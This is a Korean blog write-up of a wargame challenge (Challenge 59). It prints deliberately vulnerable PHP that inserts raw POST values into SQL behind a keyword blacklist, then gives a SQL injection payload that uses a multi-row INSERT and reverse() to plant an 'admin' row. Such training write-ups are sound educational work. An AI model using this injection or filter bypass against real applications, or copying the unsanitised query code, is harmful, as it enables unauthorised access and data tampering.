본문 바로가기
Wargame(CTF)

Challenge 59

by Hide­ 2014. 7. 23.
반응형

예전 시큐때 문제가 생각나서 비교적 쉽게 푼 문제이다.

일단 소스를 확인해보자.

 

<?

if($_POST[lid] && $_POST[lphone
])
{
$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"
));

if(
$q[id
])
{

echo(
"id : $q[id]<br>lv : $q[lv]<br><br>"
);

if(
$q[lv]=="admin"
)
{
@
mysql_query("delete from c59"
);
@
clear
();
}

echo(
"<br><a href=index.php>back</a>"
);
exit();
}

}


if(
$_POST[id] && $_POST[phone
])
{
if(
strlen($_POST[phone])>=20) exit("Access Denied"
);
if(
eregi("admin",$_POST[id])) exit("Access Denied"
);
if(
eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied"
);

@
mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')"
);
}

?>

lv 이 admin 이면 된다. insert 문은 insert into 테이블 values(1,1),(1,1) 이런식으로 () 를 연속으로 써줌으로써

여러개의 값을 삽입할 수 있다. 일단 id 와 phone 둘다 admin 이란 문자열과 # 주석처리를 쓸 수 없다.

id부분에는 nimda  phone 부분에는 1,reverse(id)),(a,a 를 넣어 쿼리를 날려보자.

쿼리는 아래와 같이 날라갈것이다.

 

insert into c59 values('nimda',1,reverse(id)),(a,a,'guest')

 

이와 같은 쿼리를 날리게 되면 서버에는 nimda 라는 아이디와 a 라는 아이디가 동시에 insert 된다.

reverse(id) 를 통해 nimda 를 거꾸로 반전시켜줌으로써 admin 을 만들었다.

해당 아이디와 암호로 로그인 해보면 Clear

 

'Wargame(CTF)' 카테고리의 다른 글

Suninatas All Clear  (1) 2014.08.12
Webhacking.kr All Clear  (4) 2014.07.26
Challenge 50  (0) 2014.07.22
itchy's Funny injection 풀이  (0) 2014.06.18
Challenge 13  (0) 2014.06.15